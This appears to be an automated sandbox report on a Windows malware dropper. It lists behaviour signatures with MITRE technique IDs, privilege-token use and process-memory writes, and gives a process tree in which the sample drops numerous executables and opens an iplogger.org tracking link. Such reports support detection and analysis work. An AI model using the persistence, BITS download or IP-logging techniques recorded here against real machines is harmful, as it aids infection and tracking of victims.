Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

7020 schtasks.exe
6776 schtasks.exe
2204 schtasks.exe
5352 schtasks.exe
Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

7612 bitsadmin.exe

pid	process
7020	schtasks.exe
6776	schtasks.exe
2204	schtasks.exe
5352	schtasks.exe

pid	process
7612	bitsadmin.exe

Enumerates system info in registry 2 TTPs 23 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exemsedge.exeWerFault.exeWerFault.exeMsiExec.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	MsiExec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	MsiExec.exe

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

5948 taskkill.exe
3340 taskkill.exe

pid	process
5948	taskkill.exe
3340	taskkill.exe

Modifies data under HKEY_USERS 40 IoCs

Processes:

sihclient.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5300 PING.EXE

pid	process
5300	PING.EXE

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	135	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	142	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	347	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	352	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

WerFault.exemsedge.exemsedge.exeWerFault.exeidentity_helper.exeInstallation.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeAdvancedRun.exeWerFault.exeMsiExec.exeWerFault.exejfiag3g_gg.exe8fsyD3Gw2a2p5RQr7p20wmew.exemsedge.exe

pid	process
4512	WerFault.exe
4512	WerFault.exe
2184	msedge.exe
2184	msedge.exe
4676	msedge.exe
4676	msedge.exe
5340	WerFault.exe
5340	WerFault.exe
5456	identity_helper.exe
5456	identity_helper.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
5376	Installation.exe
4584	WerFault.exe
4584	WerFault.exe
1440	WerFault.exe
1440	WerFault.exe
4716	WerFault.exe
4716	WerFault.exe
5568	WerFault.exe
5568	WerFault.exe
5428	WerFault.exe
5428	WerFault.exe
4136	AdvancedRun.exe
4136	AdvancedRun.exe
4136	AdvancedRun.exe
4136	AdvancedRun.exe
500	WerFault.exe
500	WerFault.exe
1068	MsiExec.exe
1068	MsiExec.exe
656	WerFault.exe
656	WerFault.exe
4196	jfiag3g_gg.exe
4196	jfiag3g_gg.exe
2812	8fsyD3Gw2a2p5RQr7p20wmew.exe
2812	8fsyD3Gw2a2p5RQr7p20wmew.exe
2812	8fsyD3Gw2a2p5RQr7p20wmew.exe
2812	8fsyD3Gw2a2p5RQr7p20wmew.exe
6488	msedge.exe
6488	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

KRSetp.exeWerFault.exesvchost.exe8fsyD3Gw2a2p5RQr7p20wmew.exelu45MPPlSXDcE87FXpGzebNT.exeinstaller.exetc7tx2PYATrMO3q1RR7JDgxh.exeAdvancedRun.exeqMn_tJPqi2r4PCGE4bJHiVBA.exeHzWqg9gjd5UML3kuFjfEhExk.exesvchost.exe4IiTX4vYv1b3qLdHmypJF56x.exe5642277.exeMsiExec.exexupkdoyrIX37kZkiYbuCg7XQ.exeW6aLoR23mFu4mCrl5FGlu3hP.exepTMuLJ8Llt3ZAyIu_jKMDOT6.exe4071221.exeaskinstall53.exe4411936.exeVersiumresearch.exeuGITRZ1Q5t0sp0tv9uZRib6I.exe

description	pid	process
Token: SeDebugPrivilege	3692	KRSetp.exe
Token: SeRestorePrivilege	4512	WerFault.exe
Token: SeBackupPrivilege	4512	WerFault.exe
Token: SeBackupPrivilege	4512	WerFault.exe
Token: SeTcbPrivilege	5420	svchost.exe
Token: SeTcbPrivilege	5420	svchost.exe
Token: SeTcbPrivilege	5420	svchost.exe
Token: SeTcbPrivilege	5420	svchost.exe
Token: SeTcbPrivilege	5420	svchost.exe
Token: SeTcbPrivilege	5420	svchost.exe
Token: SeDebugPrivilege	2812	8fsyD3Gw2a2p5RQr7p20wmew.exe
Token: SeDebugPrivilege	5532	lu45MPPlSXDcE87FXpGzebNT.exe
Token: SeDebugPrivilege	6076	installer.exe
Token: SeDebugPrivilege	5356	tc7tx2PYATrMO3q1RR7JDgxh.exe
Token: SeDebugPrivilege	4136	AdvancedRun.exe
Token: SeDebugPrivilege	3384	qMn_tJPqi2r4PCGE4bJHiVBA.exe
Token: SeImpersonatePrivilege	4136	AdvancedRun.exe
Token: SeDebugPrivilege	5776	HzWqg9gjd5UML3kuFjfEhExk.exe
Token: SeTcbPrivilege	1216	svchost.exe
Token: SeTcbPrivilege	1216	svchost.exe
Token: SeDebugPrivilege	548	4IiTX4vYv1b3qLdHmypJF56x.exe
Token: SeDebugPrivilege	4944	5642277.exe
Token: SeDebugPrivilege	1436	MsiExec.exe
Token: SeDebugPrivilege	1272	xupkdoyrIX37kZkiYbuCg7XQ.exe
Token: SeDebugPrivilege	1204	W6aLoR23mFu4mCrl5FGlu3hP.exe
Token: SeDebugPrivilege	5312	pTMuLJ8Llt3ZAyIu_jKMDOT6.exe
Token: SeDebugPrivilege	6084	4071221.exe
Token: SeCreateTokenPrivilege	680	askinstall53.exe
Token: SeAssignPrimaryTokenPrivilege	680	askinstall53.exe
Token: SeLockMemoryPrivilege	680	askinstall53.exe
Token: SeIncreaseQuotaPrivilege	680	askinstall53.exe
Token: SeMachineAccountPrivilege	680	askinstall53.exe
Token: SeTcbPrivilege	680	askinstall53.exe
Token: SeSecurityPrivilege	680	askinstall53.exe
Token: SeTakeOwnershipPrivilege	680	askinstall53.exe
Token: SeLoadDriverPrivilege	680	askinstall53.exe
Token: SeSystemProfilePrivilege	680	askinstall53.exe
Token: SeSystemtimePrivilege	680	askinstall53.exe
Token: SeProfSingleProcessPrivilege	680	askinstall53.exe
Token: SeIncBasePriorityPrivilege	680	askinstall53.exe
Token: SeCreatePagefilePrivilege	680	askinstall53.exe
Token: SeCreatePermanentPrivilege	680	askinstall53.exe
Token: SeBackupPrivilege	680	askinstall53.exe
Token: SeRestorePrivilege	680	askinstall53.exe
Token: SeShutdownPrivilege	680	askinstall53.exe
Token: SeDebugPrivilege	680	askinstall53.exe
Token: SeAuditPrivilege	680	askinstall53.exe
Token: SeSystemEnvironmentPrivilege	680	askinstall53.exe
Token: SeChangeNotifyPrivilege	680	askinstall53.exe
Token: SeRemoteShutdownPrivilege	680	askinstall53.exe
Token: SeUndockPrivilege	680	askinstall53.exe
Token: SeSyncAgentPrivilege	680	askinstall53.exe
Token: SeEnableDelegationPrivilege	680	askinstall53.exe
Token: SeManageVolumePrivilege	680	askinstall53.exe
Token: SeImpersonatePrivilege	680	askinstall53.exe
Token: SeCreateGlobalPrivilege	680	askinstall53.exe
Token: 31	680	askinstall53.exe
Token: 32	680	askinstall53.exe
Token: 33	680	askinstall53.exe
Token: 34	680	askinstall53.exe
Token: 35	680	askinstall53.exe
Token: SeDebugPrivilege	4116	4411936.exe
Token: SeDebugPrivilege	2200	Versiumresearch.exe
Token: SeDebugPrivilege	5040	uGITRZ1Q5t0sp0tv9uZRib6I.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

msedge.exeVUHljWwBSoWgPG29Im1iwYru.tmpCleaner Installation.exe

pid process

4676 msedge.exe
560 VUHljWwBSoWgPG29Im1iwYru.tmp
5936 Cleaner Installation.exe

pid	process
4676	msedge.exe
560	VUHljWwBSoWgPG29Im1iwYru.tmp
5936	Cleaner Installation.exe

Suspicious use of SetWindowsHookEx 30 IoCs

Processes:

Installation.exeOryn26tHXTXfiJOgOUHgEWQC.exechqsf1lkE_zkaAtdaYT5l3cV.exelFiB_5K9hnEQX8DzFjlPBY31.exegQfPleKPYUO3IgUyG6oZeDBE.exe2o84zq2hVylVfyFnNpUXwFWj.exeWHT3zTM8vyl0pN8u26LRRztd.exeAlCWTV1YvTp6RqX1w0rqo08a.execustomer3.exeVUHljWwBSoWgPG29Im1iwYru.exemd8_8eus.exeVXS2zUNs8c1vKDZu8VA8qxnQ.exeUSk6VuEkJK4XsVXYU2D1C3Ec.exeVUHljWwBSoWgPG29Im1iwYru.tmpjfiag3g_gg.exeUSk6VuEkJK4XsVXYU2D1C3Ec.exe11111.exeAdvancedRun.exe11111.exe11111.exe11111.exeufgaa.exe11111.exejfiag3g_gg.exeSetup.exeMediaBurner2.exeaskinstall53.exeMediaBurner2.tmpU0Y0YKNIlEqdzGuVOYcdoS5u.exeschtasks.exe

pid	process
5376	Installation.exe
5276	Oryn26tHXTXfiJOgOUHgEWQC.exe
5436	chqsf1lkE_zkaAtdaYT5l3cV.exe
5568	lFiB_5K9hnEQX8DzFjlPBY31.exe
5548	gQfPleKPYUO3IgUyG6oZeDBE.exe
5464	2o84zq2hVylVfyFnNpUXwFWj.exe
5316	WHT3zTM8vyl0pN8u26LRRztd.exe
1012	AlCWTV1YvTp6RqX1w0rqo08a.exe
3024	customer3.exe
3324	VUHljWwBSoWgPG29Im1iwYru.exe
3080	md8_8eus.exe
5524	VXS2zUNs8c1vKDZu8VA8qxnQ.exe
1504	USk6VuEkJK4XsVXYU2D1C3Ec.exe
560	VUHljWwBSoWgPG29Im1iwYru.tmp
1428	jfiag3g_gg.exe
5996	USk6VuEkJK4XsVXYU2D1C3Ec.exe
5332	11111.exe
4136	AdvancedRun.exe
1692	11111.exe
6088	11111.exe
1680	11111.exe
5720	ufgaa.exe
4132	11111.exe
4196	jfiag3g_gg.exe
5900	Setup.exe
6048	MediaBurner2.exe
680	askinstall53.exe
1280	MediaBurner2.tmp
3036	U0Y0YKNIlEqdzGuVOYcdoS5u.exe
6776	schtasks.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

EB7233922891E1DAD0434FBD52623647.exemsedge.exeFolder.exerUNdlL32.eXeWerFault.exe

description	pid	process	target process
PID 4736 wrote to memory of 3692	4736	EB7233922891E1DAD0434FBD52623647.exe	KRSetp.exe
PID 4736 wrote to memory of 3692	4736	EB7233922891E1DAD0434FBD52623647.exe	KRSetp.exe
PID 4736 wrote to memory of 4676	4736	EB7233922891E1DAD0434FBD52623647.exe	msedge.exe
PID 4736 wrote to memory of 4676	4736	EB7233922891E1DAD0434FBD52623647.exe	msedge.exe
PID 4736 wrote to memory of 1540	4736	EB7233922891E1DAD0434FBD52623647.exe	Folder.exe
PID 4736 wrote to memory of 1540	4736	EB7233922891E1DAD0434FBD52623647.exe	Folder.exe
PID 4736 wrote to memory of 1540	4736	EB7233922891E1DAD0434FBD52623647.exe	Folder.exe
PID 4676 wrote to memory of 764	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 764	4676	msedge.exe	msedge.exe
PID 1540 wrote to memory of 3472	1540	Folder.exe	Folder.exe
PID 1540 wrote to memory of 3472	1540	Folder.exe	Folder.exe
PID 1540 wrote to memory of 3472	1540	Folder.exe	Folder.exe
PID 3508 wrote to memory of 4584	3508	rUNdlL32.eXe	rundll32.exe
PID 3508 wrote to memory of 4584	3508	rUNdlL32.eXe	rundll32.exe
PID 3508 wrote to memory of 4584	3508	rUNdlL32.eXe	rundll32.exe
PID 4736 wrote to memory of 4360	4736	EB7233922891E1DAD0434FBD52623647.exe	Info.exe
PID 4736 wrote to memory of 4360	4736	EB7233922891E1DAD0434FBD52623647.exe	Info.exe
PID 4736 wrote to memory of 4360	4736	EB7233922891E1DAD0434FBD52623647.exe	Info.exe
PID 3700 wrote to memory of 4584	3700	WerFault.exe	rundll32.exe
PID 3700 wrote to memory of 4584	3700	WerFault.exe	rundll32.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 1044	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 2184	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 2184	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 3800	4676	msedge.exe	msedge.exe
PID 4676 wrote to memory of 3800	4676	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\EB7233922891E1DAD0434FBD52623647.exe
"C:\Users\Admin\AppData\Local\Temp\EB7233922891E1DAD0434FBD52623647.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4736
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\KRSetp.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\KRSetp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/19Pfw7
  2⤵
  - Adds Run key to start application
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffdee0446f8,0x7ffdee044708,0x7ffdee044718
    3⤵
    PID:764
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2088 /prefetch:2
    3⤵
    PID:1044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:2184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2728 /prefetch:8
    3⤵
    PID:3800
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:1
    3⤵
    PID:3928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
    3⤵
    PID:4336
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5156 /prefetch:8
    3⤵
    PID:5412
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5156 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2020,14036639402013758551,18342286866266643697,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
    3⤵
